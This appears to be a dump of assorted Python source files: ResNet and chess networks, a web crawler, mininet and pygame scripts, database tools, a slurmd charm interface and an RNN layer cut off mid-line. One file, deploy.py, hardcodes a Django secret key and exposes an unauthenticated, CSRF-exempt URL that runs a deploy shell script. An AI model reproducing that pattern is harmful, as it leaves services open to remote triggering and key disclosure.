+{"seq_id":"296363441","text":"import torch\ntry:\n  from models.backbone.imagenet_pretraining import load_pretrained_2D_weights\n  from models.backbone.resnet.basicblock import BasicBlock2D, BasicBlock3D, BasicBlock2_1D\n  from models.backbone.resnet.bottleneck import Bottleneck2D, Bottleneck3D, Bottleneck2_1D\n  from models.backbone.resnet.resnet import ResNetBackBone\nexcept:\n  from imagenet_pretraining import load_pretrained_2D_weights\n  from resnet.basicblock import BasicBlock2D, BasicBlock3D, BasicBlock2_1D\n  from resnet.bottleneck import Bottleneck2D, Bottleneck3D, Bottleneck2_1D\n  from resnet.resnet import ResNetBackBone\n\n\n# __all__ = [\n#     'resnet_two_heads',\n# ]\n\n\ndef resnet_backbone(depth=18, blocks='2D_2D_2D_2D', **kwargs):\n    \"\"\"Constructs a ResNet-18 model backbone\n    \"\"\"\n    # Blocks and layers\n    list_block, list_layers = get_cnn_structure(depth=depth,\n                                                str_blocks=blocks)\n\n    # Model with two heads\n    model = ResNetBackBone(list_block,\n                   list_layers,\n                   **kwargs)\n\n    if False:\n      print(\n          \"*** Backbone: Resnet{} (blocks: {} - pooling: {} - Two heads - blocks 2nd head: {} and fm size 2nd head: {}) ***\".format(\n              depth,\n              blocks,\n              pooling,\n              object_head,\n              model.size_fm_2nd_head))\n\n    # Pretrained from imagenet weights\n    model = load_pretrained_2D_weights('resnet{}'.format(depth), model, inflation='center')\n\n    return model\n\n\ndef get_cnn_structure(str_blocks='2D_2D_2D_2D', depth=18):\n    # List of blocks\n    list_block = []\n\n    # layers\n    if depth == 18:\n        list_layers = [2, 2, 2, 2]\n        nature_of_block = 'basic'\n    elif depth == 34:\n        list_layers = [3, 4, 6, 3]\n        nature_of_block = 'basic'\n    elif depth == 50:\n        list_layers = [3, 4, 6, 3]\n        nature_of_block = 'bottleneck'\n    else:\n        raise NameError\n\n    # blocks\n    if nature_of_block == 'basic':\n        block_2D, block_3D, block_2_1D = BasicBlock2D, BasicBlock3D, BasicBlock2_1D\n    elif nature_of_block == 'bottleneck':\n        block_2D, block_3D, block_2_1D = Bottleneck2D, Bottleneck3D, Bottleneck2_1D\n    else:\n        raise NameError\n\n    # From string to blocks\n    list_block_id = str_blocks.split('_')\n\n    # Catch from the options if exists\n    for i, str_block in enumerate(list_block_id):\n        # Block kind\n        if str_block == '2D':\n            list_block.append(block_2D)\n        elif str_block == '2.5D':\n            list_block.append(block_2_1D)\n        elif str_block == '3D':\n            list_block.append(block_3D)\n        else:\n            # ipdb.set_trace()\n            raise NameError\n\n    return list_block, list_layers\n\n\nif __name__ == '__main__':\n  model = resnet_backbone()\n  img = torch.ones([1, 1, 224, 224])\n  feats = model(img)\n  print(feats.shape)\n","sub_path":"models/backbone/resnet_based.py","file_name":"resnet_based.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"542210778","text":"import torch.nn as nn \nimport torch.nn.functional as F \nimport torch\n\nimport torchvision.models as models\n\nfrom torchsummary import summary\n\nclass PolicyNetwork(nn.Module):\n    def __init__(self):\n        super().__init__()\n        self.model = models.resnet50(pretrained=False)\n        self.model.conv1 = nn.Conv2d(in_channels=33, out_channels = 64, kernel_size=3, padding=1, bias=False)\n        self.model.fc = nn.Linear(in_features=2048, out_features=4272)\n    \n\n    def forward(self, x):\n        y = self.model(x)\n\n        return y\n\nclass ValueNetwork(nn.Module):\n    def __init__(self):\n        super().__init__()\n        self.model = models.resnet50(pretrained=False)\n        self.model.conv1 = nn.Conv2d(in_channels=33, out_channels = 64, kernel_size=3, padding=1)\n        self.model.fc = nn.Linear(in_features=2048, out_features=1)\n    \n\n    def forward(self, x):\n        y = self.model(x)\n\n        return y\n\nclass ChessNN(nn.Module):\n    def __init__(self):\n        super(ChessNN, self).__init__()\n        self.model = models.resnet34(pretrained=False)\n        self.model.conv1 = nn.Conv2d(in_channels=33, out_channels = 64, kernel_size=3, padding=1)\n        self.model.fc = nn.Linear(in_features = 512,out_features = 2048)\n        self.policy_head_fc = nn.Linear(in_features=2048,out_features=4272)\n        self.value_head_fc = nn.Linear(in_features = 2048, out_features = 512)\n        self.value_head_fc1 = nn.Linear(in_features = 512, out_features = 1)\n        self.value_head_tanh = nn.Tanh()\n\n    def forward(self, x):\n        y = self.model(x)\n        policy = self.policy_head_fc(y)\n        value = self.value_head_fc(y)\n        value = self.value_head_fc1(value)\n        value = self.value_head_tanh(value)\n        return policy, value\n\n\n# policy = PolicyNetwork().cuda()\n# critic = ValueNetwork().cuda()\n\n# print(models.resnet101(pretrained=False))\n\n# summary(policy.cuda(), (33,8,8))\n# summary(critic, (33,8,8))","sub_path":"scripts/ppo_chess_mpi/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"150793781","text":"import sys\nimport os\nimport logging\nimport subprocess\nimport json\n\nfrom django.conf import settings\nfrom django.conf.urls import url\nfrom django.core.management import execute_from_command_line\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse\nfrom django.core.wsgi import get_wsgi_application\n\n\nlog = logging.getLogger(__name__)\nBASE_DIR = os.path.dirname(os.path.abspath(__name__))\n\nsettings.configure(\n    DEBUG=False,\n    ALLOWED_HOSTS=['*'],\n    SECRET_KEY='%vdbix7n2satn*a^510q9^(i5$o@ib53p5b0egnwb!-b7**3gx',\n    ROOT_URLCONF=sys.modules[__name__],\n    LOGGING={\n        'version': 1,\n        'disable_existing_loggers': False,\n        'formatters': {\n            'verbose': {\n                'format': '[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s',\n                'datefmt': '%d/%b/%Y %H:%M:%S'\n            }\n        },\n        'handlers': {\n            'deploy': {\n                'level': 'DEBUG',\n                'class': 'logging.handlers.RotatingFileHandler',\n                'filename': BASE_DIR + '/deploy.log',\n                'maxBytes': 1024 * 1024 * 5,  # 5MB\n                'backupCount': 5,\n                'formatter': 'verbose'\n            },\n            'console': {\n                'level': 'DEBUG',\n                'class': 'logging.StreamHandler',\n                'formatter': 'verbose'\n            }\n        },\n        'loggers': {\n            __name__: {\n                'handlers': ['deploy', 'console'],\n                'level': 'DEBUG',\n                'propagate': True\n            },\n        }\n    }\n)\n\n\n@csrf_exempt\ndef deploy(request, *args, **kwargs):\n    log.debug('Got a request')\n    try:\n        data=json.loads(request.POST.getlist('payload', default=None)[0])\n        log.debug(data)\n        if data.get('status') == 0:\n            log.debug('Build process: {}'.format(data.get('status_message')))\n            process = subprocess.Popen(\n                ['bash', BASE_DIR + '/scripts/deploy.sh'],\n                shell=False, stdout=subprocess.PIPE)\n            process.wait()\n            log.debug(':\\n    ' + ('\\n    ').join(\n                process.communicate()[0].decode().split('\\n')\n            ))\n            return HttpResponse(json.dumps({'status': process.returncode}))\n        else:\n            log.debug('Build process: {}'.format('Failed'))\n            return HttpResponse(json.dumps({'status': '-1'}))\n    except Exception as e:\n        log.debug(e)\n\n\nurlpatterns = [\n    url(r'^my_super_secret_url/$', deploy),\n    url(r'^abc/$', (lambda x: HttpResponse('<h1>ABC</h1>'))),  # Just for debug\n]\n\nif __name__ == '__main__':\n    execute_from_command_line(sys.argv)\nelse:\n    os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", __name__)\n    application = get_wsgi_application()\n","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"400510361","text":"from bs4 import BeautifulSoup\r\nimport urllib.request\r\nimport os\r\nimport re\r\ndef not_relative_uri(href): # kiểm tra đường link có hợp lệ không\r\n    return re.compile('^http').search(href) is  not  None\r\ndef check(link): #kiểm tra link có phải định dạng HTMl để có thể parse không.\r\n    if(len(link)>1):\r\n        if (link[len(link)-4:] != 'html'or link[-10:-5]=='index'):\r\n            return 0\r\n        if (link[len(link) - 7:] == \"comment\"):\r\n            return 0\r\n        return 1\r\n    return 0\r\ndef Get_NewLink(url): # lấy link bài báo tiếp theo có trong trang hiện tại để tiến hành crawl\r\n    #parse HTML để lấy link mới\r\n    start = url.find(\"//\")\r\n    page = urllib.request.urlopen(url).read()\r\n    soup = BeautifulSoup(page, 'html.parser')\r\n    new_feeds = soup.find(\r\n        'body').find_all(\r\n        'a')\r\n    list_link = []\r\n    new_list_link = []\r\n    #kiểm tra các link bên trong HTML Parse có hợp lệ để crawl không\r\n    for feed in new_feeds:\r\n        link = feed.get('href')\r\n        if (type(link) == type(None)):\r\n            continue\r\n        check_link = not_relative_uri(link)\r\n        if(len(link)<1):\r\n            continue\r\n        if (check_link == 0):\r\n            if (link[0] == \"/\"):\r\n                link = 'https://' + url[start + 2:] + link\r\n            else:\r\n                link = 'https://' + link\r\n        if (check(link)):\r\n            list_link.append(link)\r\n    for i in range(len(list_link)):\r\n        if (i > 0):\r\n            if (list_link[i - 1] != list_link[i]):\r\n                new_list_link.append(list_link[i])\r\n        else:\r\n            new_list_link.append(list_link[i])\r\n\r\n    return new_list_link\r\ndef download_image(src,name): # hàm crawl ảnh từ link đã lấy\r\n    fullname = str(name)+\".jpg\"\r\n    urllib.request.urlretrieve(src,fullname)\r\ndef standardizedfile_name(file_name,chr): # lấy tiêu đề của bài báo để đặt tên file TXT sẽ lưu\r\n    while (file_name.find(chr) >-1):\r\n        if(file_name.find(chr)==0):\r\n            file_name=file_name[1:]\r\n            continue\r\n        file_name = file_name[:file_name.find(chr)] + file_name[file_name.find(chr) + 1:]\r\n    return file_name\r\ndef Get_Text(url,img_name): # hàm crawl text\r\n    os.chdir('C:/Users/anhco/PycharmProjects/Web Crawler/Text') # thư mục sẽ lưu các file text sẽ lưu\r\n    count = 0\r\n    # tiến hành parse link url\r\n    page = urllib.request.urlopen(url)\r\n    soup = BeautifulSoup(page, 'html.parser')\r\n    title = soup.find('body').find('h1')\r\n    if(type(title)==type(None)or len(title.get_text())==0):\r\n        return count\r\n    file_name=title.get_text()\r\n    file_name=standardizedfile_name(file_name,'/')\r\n    file_name=standardizedfile_name(file_name,'\"')\r\n    file_name=standardizedfile_name(file_name,'?')\r\n    file_name=standardizedfile_name(file_name,'\\t')\r\n    file_name=standardizedfile_name(file_name,'\\n')\r\n    file_name=standardizedfile_name(file_name,'\\r')\r\n    print(file_name)\r\n    file=open(file_name+\".txt\",\"w\",encoding=\"utf-8\")\r\n    page = urllib.request.urlopen(url)\r\n    soup = BeautifulSoup(page, 'html.parser')\r\n    file_content=\"\"\r\n    content = soup.find('body').find_all('p')\r\n    for feed in content:\r\n        file_content+=feed.get_text()\r\n    file.write(file_content)\r\n    file.close()\r\n    os.chdir('C:/Users/anhco/PycharmProjects/Web Crawler/Img') #thư mục chưa những ánh sẽ crawl\r\n    Image = soup.find('body').find_all('img') # lấy link các hình ảnh khả dụng trong bài\r\n    ahihi=0\r\n    for img in Image:\r\n        if(ahihi<100):\r\n            src=img.get(\"src\")\r\n            if(src[-3:]!=\"jpg\" and src[-3:]!='png'and src[-3:]!=\"JPEG\"):\r\n                continue\r\n            print(src)\r\n            download_image(src,img_name+count)\r\n            count+=1\r\n            ahihi+=1\r\n        else:\r\n            break\r\n    page.close()\r\n    return count\r\n# hàm main cho đường link vào hàm Get_NewLink\r\nurl = Get_NewLink('https://vnexpress.net')\r\nimg_name=0# đặt tên các ảnh theo thứ tự 1,2,3,4,-----\r\nflag=0\r\nfor i in range(len(url)):\r\n    flag+=1\r\n    print(flag)\r\n    print(url[i])\r\n    count=Get_Text(url[i],img_name)\r\n    img_name+=count\r\n#hiện tại do code này code từ năm ngoái nên bây giờ trang vnexpress.net vẫn có thể crawl text nhưng ảnh thì không crawl được nữa","sub_path":"Web Crawler.py","file_name":"Web Crawler.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"626926984","text":"import os\nimport re\nfrom listings import listings\n\ndocs_src = 'sphinx/docs/'\nlistings = listings()\n\npattern = re.compile('m[0-9]+\\.html')\nfor item in os.listdir(docs_src):\n    if os.path.isfile(docs_src + item) and pattern.match(item):\n        chNum = item[1:-5]\n\n        # open file and copy to string\n        textfile = open(docs_src + 'm' + chNum + '.html', 'r')\n        text = textfile.read()\n        textfile.close()\n\n        # regex for getting chapter/figure\n        regex = '<p>&lt;popeye-listing&gt;c([0-9]+)f([0-9]+)&lt;\\/popeye-listing&gt;<\\/p>'\n        tag = re.compile(regex)\n        # finds all popeye tage and saves the chapter/figure\n        blocks = re.findall(tag, text)\n        chapter = []\n        figure = []\n        for x in blocks:\n            chapter.append(x[0])\n            figure.append(x[1])\n\n        # open editor code and copy to string\n        editor = open('edit-window/editorcode.html', 'r')\n        editortext = editor.read()\n        editor.close()\n\n        # regex to split for editor code insert\n        regex2 = '<p>&lt;popeye-listing&gt;c[0-9]+f[0-9]+&lt;\\/popeye-listing&gt;<\\/p>'\n        tag2 = re.compile(regex2)\n        blocks2 = re.split(regex2, text)\n\n        # assemble html with editor\n        count = 0\n\n        finalfile = open(docs_src + 'm' + chNum + '.html', 'w')\n        for x in range(0, len(blocks2) - 1):\n            finalfile.write(blocks2[count] + '<br>\\n')\n            finalfile.write('Figure ' + figure[count] + '\\n<br>\\n')\n\n            regex3 = '<div id=\"editor\">(.+?)</div>'\n            tag3 = re.compile(regex3)\n            blocks3 = re.findall(tag3, editortext)\n\n            try:\n                editortext = editortext.replace(\"<imports-go-here>\",\n                    listings.get_imports(chapter[count], figure[count]) + \"\\n\");\n\n            except KeyError:\n                print(\"Missing import\",  chapter[count], figure[count]);\n\n            editorsplit = editortext.split(\"purgeryUrsula\")\n            editorfinal = editorsplit[0]\n            try:\n                editorfinal += listings.get(chapter[count], figure[count])\n            except KeyError:\n                editorfinal += 'print \"listing c' + str(chapter[count]) + 'f' + \\\n                str(figure[count]) + ' missing\"'\n                continue;\n            print(\"\" + chapter[count] + figure[count]);\n            print(editorfinal);\n            editorfinal += editorsplit[1]\n\n            finalfile.write(\n                editorfinal.replace(\n                    'results',\n                    'results' +\n                    str(count)).replace(\n                    'editor',\n                    'editor' +\n                    str(count)) +\n                '<br>\\n')\n            count += 1\n\n        finalfile.write(blocks2[count])\n        finalfile.close()\n        ############\n        # open file and copy to string\n        textfile = open(docs_src + 'm' + chNum + '.html', 'r')\n        text = textfile.read()\n        textfile.close()\n\n        # regex for getting chapter/figure\n        regex = '<p>&lt;popeye-image&gt;c([0-9]+)f([0-9]+)&lt;\\/popeye-image&gt;<\\/p>'\n        tag = re.compile(regex)\n        # finds all popeye tage and saves the chapter/figure\n        blocks = re.findall(tag, text)\n        chapter = []\n        figure = []\n        for x in blocks:\n            chapter.append(x[0])\n            figure.append(x[1])\n\n        # regex to split for editor code insert\n        regex2 = '<p>&lt;popeye-image&gt;c[0-9]+f[0-9]+&lt;\\/popeye-image&gt;<\\/p>'\n        tag2 = re.compile(regex2)\n        blocks2 = re.split(regex2, text)\n\n        # assemble html with editor\n        count = 0\n\n        finalfile = open(docs_src + 'm' + chNum + '.html', 'w')\n        for x in range(0, len(blocks2) - 1):\n            finalfile.write(blocks2[count] + '<br>\\n')\n            imageNumberTemp = str((int)(figure[count]) + 1)\n            finalfile.write('Image ' + imageNumberTemp + '\\n<br>\\n')\n            imgtag = ''\n            try:\n                imgtag += '<img id=\"img'\n                imgtag += imageNumberTemp\n                imgtag += '\" width=\"500\" height=\"338\" src=\"'\n                imgtag += listings.get_cache(chapter[count], (int)(figure[count]) + 1)\n                imgtag += '\"></img>'\n                # imgtag += '<object id=\"pdf'\n                # imgtag += imageNumberTemp\n                # imgtag += '\" width=\"500\" height=\"338\" type=\"application/pdf\" data=\"'\n                # imgtag += listings.get_cache(chapter[count], (int)(figure[count]) + 1)\n                # imgtag += '\"></object>'\n                finalfile.write(imgtag + \"\\n<br>\")\n            except KeyError:\n                imgtag += 'print \"listing c' + str(chapter[count]) + 'f' + \\\n                str(figure[count]) + ' missing\"'\n                finalfile.write(imgtag + \"\\n<br>\")\n            count += 1\n\n        finalfile.write(blocks2[count])\n        finalfile.close()\n        ###########\n\n        # insert top level listing\n        topListing = open('edit-window/toplevel.html', 'r')\n        topListingText = topListing.read()\n        topListing.close()\n        topListingText = '</title>' + topListingText\n\n        f = open(docs_src + 'm' + chNum + '.html', 'r')\n        contents = f.read()\n        f.close()\n\n        contents = contents.replace(\"</title>\", topListingText)\n\n        f = open(docs_src + 'm' + chNum + '.html', 'w')\n        f.write(contents)\n        f.close()\n","sub_path":"popeye/web_server/textbook/static/insert-listings.py","file_name":"insert-listings.py","file_ext":"py","file_size_in_byte":5390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"653483006","text":"import pygame\n\npygame.init()\n\nwidth = 400\nheight = 300\nwindowSize = [width, height]\nscreen = pygame.display.set_mode(windowSize)\n\ncolor = pygame.color.Color('#F54455')\n#[100, 100, 0]\nprint(color)\n\nrow = 0\ndone = False\nwhile not done:\n    increment = 255 / 100\n    while row <= height:\n        pygame.draw.rect(screen, color, (0, row, width, row + increment))\n        pygame.display.flip()\n        if color[2] + increment < 255:\n            color[2] = color[2] + int(increment)\n        row += increment\n\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            done = True\n\npygame.quit()\n","sub_path":"_4.python/__old/pygame/pygame1/squares.py","file_name":"squares.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"33160028","text":"#!/usr/bin/python\n\nfrom mininet.topo import SingleSwitchTopo\nfrom mininet.net  import Mininet\nfrom mininet.node import CPULimitedHost\nfrom mininet.cli  import CLI\nfrom mininet.util import custom\n\nimport threading\nimport time\nimport sys\n\n\ndef tcpprobe_log( tid, net ):\n    hosts = {}\n    h1, h2, h3 = net.getNodeByName( 'h1', 'h2', 'h3' )\n\n    popens = {}\n\n    popens[1] = h1.popen( 'iperf -s' )\n\n    popens[2] = h2.popen( 'iperf -c %s -t 10' % h1.IP() )\n    popens[3] = h3.popen( 'iperf -c %s -t 10' % h1.IP() )\n\n    time.sleep(15)\n\n    popens[1].terminate()\n    popens[2].terminate()\n    popens[3].terminate()\n\n\nif __name__ == '__main__':\n    mytopo = SingleSwitchTopo( 3 )\n    #cpu = .5/3\n    #myhost = custom( CPULimitedHost, cpu=cpu )\n    net = Mininet( topo=mytopo )\n\n    net.start()\n\n    t1 = threading.Thread( target=tcpprobe_log, args=( 1, net ) )\n    t1.start()\n    \n    cli = CLI\n    cli( net )\n    sys.stdout = sys.__stdout__\n    sys.stdin  = sys.__stdin__\n   \n    t1.join()\n\n    net.stop()\n","sub_path":"symbiosim-study/src/old/mn_scripts/tcpprobetest2.py","file_name":"tcpprobetest2.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"614952309","text":"\"\"\"GridAgg Notebook Tools\"\"\"\n\nimport csv\nimport pandas as pd\nfrom typing import List, Tuple, Dict\nfrom pathlib import Path\nfrom collections import namedtuple\nfrom IPython.display import display\n\nclass DbConn(object):\n\n    def __init__(self, db_conn):\n        self.db_conn = db_conn\n\n    def query(self, sql_query: str) -> pd.DataFrame:\n        \"\"\"Execute Calculation SQL Query with pandas\"\"\"\n        # create pandas DataFrame from database data\n        return pd.read_sql_query(sql_query, self.db_conn)\n\n    def close(self):\n        self.db_conn.close()\n        \ndef get_stats_query(table: str):\n    \"\"\"Returns PostgresSQL table count and size stats query\n    by Erwin Brandstetter, source:\n    https://dba.stackexchange.com/a/23933/139107\n    \"\"\"\n    db_query = f\"\"\"\n    SELECT l.metric, l.nr AS \"bytes/ct\"\n         , CASE WHEN is_size THEN pg_size_pretty(nr) END AS bytes_pretty\n         , CASE WHEN is_size THEN nr / NULLIF(x.ct, 0) END AS bytes_per_row\n    FROM  (\n       SELECT min(tableoid)        AS tbl      -- = 'public.tbl'::regclass::oid\n            , count(*)             AS ct\n            , sum(length(t::text)) AS txt_len  -- length in characters\n       FROM   {table} t\n       ) x\n     , LATERAL (\n       VALUES\n          (true , 'core_relation_size'               , pg_relation_size(tbl))\n        , (true , 'visibility_map'                   , pg_relation_size(tbl, 'vm'))\n        , (true , 'free_space_map'                   , pg_relation_size(tbl, 'fsm'))\n        , (true , 'table_size_incl_toast'            , pg_table_size(tbl))\n        , (true , 'indexes_size'                     , pg_indexes_size(tbl))\n        , (true , 'total_size_incl_toast_and_indexes', pg_total_relation_size(tbl))\n        , (true , 'live_rows_in_text_representation' , txt_len)\n        , (false, '------------------------------'   , NULL)\n        , (false, 'row_count'                        , ct)\n        , (false, 'live_tuples'                      , pg_stat_get_live_tuples(tbl))\n        , (false, 'dead_tuples'                      , pg_stat_get_dead_tuples(tbl))\n       ) l(is_size, metric, nr);\n    \"\"\"\n    return db_query\n\nFileStat = namedtuple('File_stat', 'name, size, records')\n\ndef get_file_stats(name: str, file: Path) -> Tuple[str, str, str]:\n    \"\"\"Get number of records and size of CSV file\"\"\"\n    num_lines = f'{sum(1 for line in open(file)):,}'\n    size = file.stat().st_size\n    size_gb = f'{size/(1024*1024):.2f} MB'\n    return FileStat(name, size_gb, num_lines)\n\ndef display_file_stats(filelist: Dict[str, Path]):\n    \"\"\"Display CSV \"\"\"\n    df = pd.DataFrame(\n        data=[\n            get_file_stats(name, file) for name, file in filelist.items()\n            ]).transpose()\n    header = df.iloc[0]\n    df = df[1:]\n    df.columns = header\n    display(df.style.background_gradient(cmap='viridis'))\n    \nHllRecord = namedtuple('Hll_record', 'lat, lng, user_hll, post_hll, date_hll')\n\ndef strip_item(item, strip: bool):\n    if not strip:\n        return item\n    if len(item) > 120:\n        item = item[:120] + '..'\n    return item\n\ndef get_hll_record(record, strip: bool = None):\n    \"\"\"Concatenate topic info from post columns\"\"\"\n        \n    lat = record.get('latitude')\n    lng = record.get('longitude')\n    user_hll = strip_item(record.get('user_hll'), strip)\n    post_hll = strip_item(record.get('post_hll'), strip)\n    date_hll = strip_item(record.get('date_hll'), strip)            \n    return HllRecord(lat, lng, user_hll, post_hll, date_hll)\n\ndef record_preview_hll(file: Path, num: int = 2):\n    \"\"\"Get record preview for hll data\"\"\"\n    with open(file, 'r', encoding=\"utf-8\") as file_handle:\n        post_reader = csv.DictReader(\n                    file_handle,\n                    delimiter=',',\n                    quotechar='\"',\n                    quoting=csv.QUOTE_MINIMAL)\n        for ix, hll_record in enumerate(post_reader):\n            hll_record = get_hll_record(hll_record, strip=True)\n            # convert to df for display\n            display(pd.DataFrame(data=[hll_record]).rename_axis(\n                f\"Record {ix}\", axis=1).transpose().style.background_gradient(cmap='viridis'))\n            # stop iteration after x records\n            if ix >= num:\n                break","sub_path":"py/modules/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"297702549","text":"#!/usr/bin/python3\n\"\"\"Slurmd.\"\"\"\nimport json\n\nfrom ops.framework import (\n    EventBase,\n    EventSource,\n    Object,\n    ObjectEvents,\n)\n\n\nclass SlurmConfigAvailableEvent(EventBase):\n    \"\"\"Emitted when slurm config is available.\"\"\"\n\n\nclass SlurmdProvidesEvents(ObjectEvents):\n    \"\"\"SlurmctldProvidesEvents.\"\"\"\n\n    slurm_config_available = EventSource(SlurmConfigAvailableEvent)\n\n\nclass Slurmd(Object):\n    \"\"\"Slurmd.\"\"\"\n\n    on = SlurmdProvidesEvents()\n\n    def __init__(self, charm, relation_name):\n        \"\"\"Set initial data and observe interface events.\"\"\"\n        super().__init__(charm, relation_name)\n        self._charm = charm\n        self._relation_name = relation_name\n\n        self.framework.observe(\n            self._charm.on[self._relation_name].relation_created,\n            self._on_relation_created\n        )\n\n        self.framework.observe(\n            self._charm.on[self._relation_name].relation_changed,\n            self._on_relation_changed\n        )\n\n    def _on_relation_created(self, event):\n        \"\"\"Set partition name to slurm-configurator.\"\"\"\n        partition_name = self._charm.get_partition_name()\n        if self.framework.model.unit.is_leader():\n            if not partition_name:\n                event.defer()\n                return\n\n            event.relation.data[self.model.app]['partition_name'] = \\\n                self._charm.get_partition_name()\n\n    def _on_relation_changed(self, event):\n        \"\"\"Check for the munge_key in the relation data.\"\"\"\n        event_app_data = event.relation.data.get(event.app)\n        if not event_app_data:\n            event.defer()\n            return\n\n        # Get the munge_key from slurm-configurator\n        munge_key = event_app_data.get('munge_key')\n        if not munge_key:\n            event.defer()\n            return\n\n        # Store the munge_key in the charm's state\n        self._charm.set_munge_key(munge_key)\n        self.on.slurm_config_available.emit()\n\n    def _on_relation_broken(self, event):\n        self.on.slurm_config_available.emit()\n\n    @property\n    def _relation(self):\n        return self.framework.model.get_relation(self._relation_name)\n\n    @property\n    def is_joined(self):\n        \"\"\"Return True if relation is joined.\"\"\"\n        return self._relation is not None\n\n    def set_slurmd_info_on_app_relation_data(self, slurmd_info):\n        \"\"\"Set the slurmd_info on the app relation data.\n\n        Setting data on the application relation forces the units of related\n        slurm-configurator application(s) to observe the relation-changed\n        event so they can acquire and redistribute the updated slurm config.\n        \"\"\"\n        relations = self._charm.framework.model.relations['slurmd']\n        for relation in relations:\n            relation.data[self.model.app]['slurmd_info'] = json.dumps(\n                slurmd_info\n            )\n\n    def get_slurm_config(self):\n        \"\"\"Return slurm_config.\"\"\"\n        relation = self._relation\n        if relation:\n            app = relation.app\n            if app:\n                app_data = self._relation.data.get(app)\n                if app_data:\n                    slurm_config = app_data.get('slurm_config')\n                    if slurm_config:\n                        return json.loads(slurm_config)\n        return None\n","sub_path":"charm-slurmd/src/interface_slurmd.py","file_name":"interface_slurmd.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"512882115","text":"import numpy as np\nfrom .binarystep import binarystep\nfrom .gaussian import gaussian\nfrom .identity import identity\nfrom .leakyrelu import leakyrelu\nfrom .mish import mish\nfrom .relu import relu\nfrom .selu import selu\nfrom .sigmoid import sigmoid\nfrom .silu import silu\nfrom .softmax import softmax\nfrom .softplus import softplus\nfrom .stablesoftmax import stablesoftmax\nfrom .tanh import tanh\n\nclass rnn:\n  def __init__(self, outshape, type, outactivation=stablesoftmax(), hidshape=64, learningrate=0.05, inshape=None):\n    self.learningrate, self.type, self.outactivation = learningrate, type, outactivation\n    self.inshape, self.hidshape, self.outshape = inshape, hidshape, outshape\n    \n    if inshape is not None:\n      self.weightsinToHid = np.random.uniform(-0.005, 0.005, (np.prod(hidshape), np.prod(inshape)))\n\n    self.weightsHidToHid = np.random.uniform(-0.005, 0.005, (np.prod(hidshape), np.prod(hidshape)))\n    self.Hidbiases = np.zeros(hidshape)\n\n    self.weightsHidToout = np.random.uniform(-0.005, 0.005, (np.prod(outshape), np.prod(hidshape)))\n    self.outbiases = np.zeros(outshape)\n\n  def __copy__(self):\n    return type(self)(self.outshape, self.type, self.outactivation, self.hidshape, self.learningrate, self.inshape)\n\n  def modelinit(self, inshape):\n    self.inshape = inshape\n    self.weightsinToHid = np.random.uniform(-0.005, 0.005, (np.prod(self.hidshape), np.prod(inshape)))\n    return self.outshape\n\n  def forward(self, input):\n    self.input = input\n    self.Hid = np.zeros((len(self.input) + 1, self.hidshape))\n    \n    if self.type == 'ManyToOne':\n      for i in range(len(input)):\n        self.Hid[i + 1, :] = tanh().forward(self.weightsinToHid @ input[i].flatten() + self.weightsHidToHid @ self.Hid[i, :] + self.Hidbiases)\n\n      self.out = self.outactivation.forward(self.weightsHidToout @ self.Hid[len(input), :] + self.outbiases)\n    \n    elif self.type == 'ManyToMany':\n      self.out = np.zeros((len(self.input), self.outshape))\n\n      for i in range(len(input)):\n        self.Hid[i + 1, :] = tanh().forward(self.weightsinToHid @ input[i].flatten() + self.weightsHidToHid @ self.Hid[i, :] + self.Hidbiases)\n        self.out[i, :] = self.outactivation.forward(self.weightsHidToout @ self.Hid[i + 1, :] + self.outbiases)\n\n    return self.out\n\n  def backward(self, outError):\n    weightsinToHidΔ = np.zeros(self.weightsinToHid.shape)\n    weightsHidToHidΔ = np.zeros(self.weightsHidToHid.shape)\n    HidbiasesΔ = np.zeros(self.Hidbiases.shape)\n\n    if self.type == 'ManyToOne':\n      outGradient = np.multiply(self.outactivation.backward(self.out), outError)\n\n      weightsHidTooutΔ = np.outer(outGradient, self.Hid[len(self.input)].T)\n      outbiasesΔ = outGradient\n\n      HidError = self.weightsHidToout.T @ outError\n\n      for i in reversed(range(len(self.input))):\n        HidGradient = np.multiply(tanh().backward(self.Hid[i + 1]), HidError)\n\n        HidbiasesΔ += HidGradient\n        weightsHidToHidΔ += np.outer(HidGradient, self.Hid[i].T)\n        weightsinToHidΔ += np.outer(HidGradient, self.input[i].T)\n\n        HidError = self.weightsHidToHid.T @ HidGradient\n\n    elif self.type == 'ManyToMany':\n      weightsHidTooutΔ = np.zeros(self.weightsHidToout.shape)\n      outbiasesΔ = np.zeros(self.outbiases.shape)\n\n      HidError = self.weightsHidToout.T @ outError[len(self.input) - 1]\n\n      for i in reversed(range(len(self.input))):\n        HidGradient = np.multiply(tanh().backward(self.Hid[i + 1]), HidError)\n        outGradient = np.multiply(self.outactivation.backward(self.out[i]), outError[i])\n\n        weightsinToHidΔ += np.outer(HidGradient, self.input[i].T)\n        weightsHidToHidΔ += np.outer(HidGradient, self.Hid[i].T)\n        HidbiasesΔ += HidGradient\n\n        weightsHidTooutΔ += np.outer(outGradient, self.Hid[i].T)\n        outbiasesΔ += outGradient\n\n        HidError = self.weightsHidToHid.T @ HidGradient + 